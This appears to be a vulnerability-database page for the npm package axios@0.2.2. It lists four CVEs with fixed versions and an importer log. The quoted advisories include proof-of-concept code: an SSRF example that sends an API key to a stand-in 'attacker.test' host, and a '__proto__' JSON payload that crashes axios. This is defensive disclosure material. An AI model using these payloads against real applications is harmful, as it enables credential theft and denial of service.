Staging Environment: Content and features may be unstable or change without notice.
Search for packages
Package details: pkg:npm/axios@0.2.2
purl pkg:npm/axios@0.2.2
Next non-vulnerable version 0.30.3
Latest non-vulnerable version 1.15.0
Risk 4.0
Vulnerabilities affecting this package (4)
Vulnerability Summary Fixed by
VCID-5b5u-3ngh-4fd9
Aliases:
CVE-2019-10742
GHSA-42xw-2xvc-qx8m
Denial of Service Axios allows attackers to cause a denial of service (application crash) by continuing to accepting content after `maxContentLength` is exceeded.
0.18.1
Affected by 4 other vulnerabilities.
0.19.0-beta.1
Affected by 4 other vulnerabilities.
VCID-hq6f-86aj-8yav
Aliases:
CVE-2025-27152
GHSA-jr5f-v2jv-69x6
axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL ### Summary A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463 A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠`baseURL` is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios. ### Details Consider the following code snippet: ```js import axios from "axios"; const internalAPIClient = axios.create({ baseURL: "http://example.test/api/v1/users/", headers: { "X-API-KEY": "1234567890", }, }); // const userId = "123"; const userId = "http://attacker.test/"; await internalAPIClient.get(userId); // SSRF ``` In this example, the request is sent to `http://attacker.test/` instead of the `baseURL`. As a result, the domain owner of `attacker.test` would receive the `X-API-KEY` included in the request headers. It is recommended that: - When `baseURL` is set, passing an absolute URL such as `http://attacker.test/` to `get()` should not ignore `baseURL`. - Before sending the HTTP request (after combining the `baseURL` with the user-provided parameter), axios should verify that the resulting URL still begins with the expected `baseURL`. ### PoC Follow the steps below to reproduce the issue: 1. Set up two simple HTTP servers: ``` mkdir /tmp/server1 /tmp/server2 echo "this is server1" > /tmp/server1/index.html echo "this is server2" > /tmp/server2/index.html python -m http.server -d /tmp/server1 10001 & python -m http.server -d /tmp/server2 10002 & ``` 2. Create a script (e.g., main.js): ```js import axios from "axios"; const client = axios.create({ baseURL: "http://localhost:10001/" }); const response = await client.get("http://localhost:10002/"); console.log(response.data); ``` 3. Run the script: ``` $ node main.js this is server2 ``` Even though `baseURL` is set to `http://localhost:10001/`, axios sends the request to `http://localhost:10002/`. ### Impact - Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed. - SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running. - Affected Users: Software that uses `baseURL` and does not validate path parameters is affected by this issue.
0.30.0
Affected by 2 other vulnerabilities.
1.0.0-alpha.1
Affected by 0 other vulnerabilities.
1.8.2
Affected by 2 other vulnerabilities.
VCID-n89f-3nkb-ebg3
Aliases:
CVE-2021-3749
GHSA-cph5-m8f7-6c5x
Incorrect Comparison axios is vulnerable to Inefficient Regular Expression Complexity
0.21.2
Affected by 3 other vulnerabilities.
VCID-x41s-g5mh-pkdq
Aliases:
CVE-2026-25639
GHSA-43fc-jf86-j433
Axios is Vulnerable to Denial of Service via __proto__ Key in mergeConfig # Denial of Service via **proto** Key in mergeConfig ### Summary The `mergeConfig` function in axios crashes with a TypeError when processing configuration objects containing `__proto__` as an own property. An attacker can trigger this by providing a malicious configuration object created via `JSON.parse()`, causing complete denial of service. ### Details The vulnerability exists in `lib/core/mergeConfig.js` at lines 98-101: ```javascript utils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) { const merge = mergeMap[prop] || mergeDeepProperties; const configValue = merge(config1[prop], config2[prop], prop); (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue); }); ``` When `prop` is `'__proto__'`: 1. `JSON.parse('{"__proto__": {...}}')` creates an object with `__proto__` as an own enumerable property 2. `Object.keys()` includes `'__proto__'` in the iteration 3. `mergeMap['__proto__']` performs prototype chain lookup, returning `Object.prototype` (truthy object) 4. The expression `mergeMap[prop] || mergeDeepProperties` evaluates to `Object.prototype` 5. `Object.prototype(...)` throws `TypeError: merge is not a function` The `mergeConfig` function is called by: - `Axios._request()` at `lib/core/Axios.js:75` - `Axios.getUri()` at `lib/core/Axios.js:201` - All HTTP method shortcuts (`get`, `post`, etc.) at `lib/core/Axios.js:211,224` ### PoC ```javascript import axios from "axios"; const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}'); await axios.get("https://httpbin.org/get", maliciousConfig); ``` **Reproduction steps:** 1. Clone axios repository or `npm install axios` 2. Create file `poc.mjs` with the code above 3. Run: `node poc.mjs` 4. Observe the TypeError crash **Verified output (axios 1.13.4):** ``` TypeError: merge is not a function at computeConfigValue (lib/core/mergeConfig.js:100:25) at Object.forEach (lib/utils.js:280:10) at mergeConfig (lib/core/mergeConfig.js:98:9) ``` **Control tests performed:** | Test | Config | Result | |------|--------|--------| | Normal config | `{"timeout": 5000}` | SUCCESS | | Malicious config | `JSON.parse('{"__proto__": {"x": 1}}')` | **CRASH** | | Nested object | `{"headers": {"X-Test": "value"}}` | SUCCESS | **Attack scenario:** An application that accepts user input, parses it with `JSON.parse()`, and passes it to axios configuration will crash when receiving the payload `{"__proto__": {"x": 1}}`. ### Impact **Denial of Service** - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload. Affected environments: - Node.js servers using axios for HTTP requests - Any backend that passes parsed JSON to axios configuration This is NOT prototype pollution - the application crashes before any assignment occurs.
0.30.3
Affected by 0 other vulnerabilities.
1.0.0-alpha.1
Affected by 0 other vulnerabilities.
1.13.5
Affected by 0 other vulnerabilities.
Vulnerabilities fixed by this package (0)
Vulnerability Summary Aliases
This package is not known to fix vulnerabilities.

Date Actor Action Vulnerability Source VulnerableCode Version
2026-04-17T00:16:52.782863+00:00 GitLab Importer Affected by VCID-x41s-g5mh-pkdq https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/axios/CVE-2026-25639.yml 38.4.0
2026-04-16T23:22:30.381298+00:00 GitLab Importer Affected by VCID-hq6f-86aj-8yav https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/axios/CVE-2025-27152.yml 38.4.0
2026-04-16T21:30:20.448498+00:00 GitLab Importer Affected by VCID-n89f-3nkb-ebg3 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/axios/CVE-2021-3749.yml 38.4.0
2026-04-16T20:54:13.345641+00:00 GitLab Importer Affected by VCID-5b5u-3ngh-4fd9 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/axios/CVE-2019-10742.yml 38.4.0
2026-04-12T01:41:04.187085+00:00 GitLab Importer Affected by VCID-x41s-g5mh-pkdq https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/axios/CVE-2026-25639.yml 38.3.0
2026-04-12T00:41:38.357446+00:00 GitLab Importer Affected by VCID-hq6f-86aj-8yav https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/axios/CVE-2025-27152.yml 38.3.0
2026-04-11T22:43:25.980598+00:00 GitLab Importer Affected by VCID-n89f-3nkb-ebg3 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/axios/CVE-2021-3749.yml 38.3.0
2026-04-11T22:05:09.988254+00:00 GitLab Importer Affected by VCID-5b5u-3ngh-4fd9 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/axios/CVE-2019-10742.yml 38.3.0
2026-04-03T01:49:57.809305+00:00 GitLab Importer Affected by VCID-x41s-g5mh-pkdq https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/axios/CVE-2026-25639.yml 38.1.0
2026-04-03T00:49:34.160290+00:00 GitLab Importer Affected by VCID-hq6f-86aj-8yav https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/axios/CVE-2025-27152.yml 38.1.0
2026-04-02T22:53:33.706438+00:00 GitLab Importer Affected by VCID-n89f-3nkb-ebg3 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/axios/CVE-2021-3749.yml 38.1.0
2026-04-02T22:18:02.846582+00:00 GitLab Importer Affected by VCID-5b5u-3ngh-4fd9 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/axios/CVE-2019-10742.yml 38.1.0
2026-04-01T17:11:46.072493+00:00 GitLab Importer Affected by VCID-n89f-3nkb-ebg3 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/axios/CVE-2021-3749.yml 38.0.0
2026-04-01T16:35:43.512200+00:00 GitLab Importer Affected by VCID-5b5u-3ngh-4fd9 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/axios/CVE-2019-10742.yml 38.0.0